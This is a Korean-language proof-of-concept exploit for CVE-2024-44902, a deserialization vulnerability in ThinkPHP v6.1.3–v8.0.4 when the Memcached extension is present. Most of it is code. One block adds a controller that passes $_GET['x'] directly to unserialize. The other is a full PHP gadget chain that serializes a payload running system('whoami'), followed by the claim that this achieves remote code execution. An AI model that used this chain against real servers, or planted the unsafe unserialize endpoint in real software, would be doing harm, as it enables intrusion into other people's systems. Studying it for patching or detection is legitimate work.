
CVE-2024-44902에 대한 개념 증명 익스플로잇은 ThinkPHP v6.1.3–v8.0.4의 역직렬화 취약점으로, Memcached 확장이 설치된 경우 조작된 페이로드를 통해 원격 코드 실행을 가능하게 합니다.
ThinkPHP v6.1.3 ~ v8.0.4에서 발견된 역직렬화 취약점으로, 공격자가 임의 코드를 실행할 수 있습니다.
ThinkPHP v6.1.3 ~ v8.0.4
ThinkPHP 프레임워크에 Memcached 확장이 설치되어 있어야 합니다.
먼저, app\controller\Index.php에 새로운 역직렬화 엔드포인트를 추가합니다. 예를 들어:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
unserialize($_GET['x']);
return '<style>*{ padding: 0; margin: 0; }</style>';
}
public function hello($name = 'ThinkPHP8')
{
return 'hello,' . $name;
}
}
페이로드는 다음 코드로 생성할 수 있습니다:
<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{
protected $options=[];
function __construct()
{
$this->options["username"]=new Pivot();
}
}
namespace think\model;
use think\model;
class Pivot extends Model
{
}
namespace think;
abstract class Model{
private $data = [];
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = true;
function __construct()
{
$this->data["fru1ts"]=["whoami"];
$this->withAttr["fru1ts"]=["system"];
$this->json=["fru1ts"];
}
}
namespace think\route;
use think\DbManager;
class ResourceRegister
{
protected $registered = false;
protected $resource;
function __construct()
{
$this->registered=false;
$this->resource=new DbManager();
}
}
namespace think;
use think\model\Pivot;
class DbManager
{
protected $instance = [];
protected $config = [];
function __construct()
{
$this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
$this->config["default"]="getRule";
}
}
use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));
생성된 페이로드를 역직렬화하면 RCE가 발생합니다:
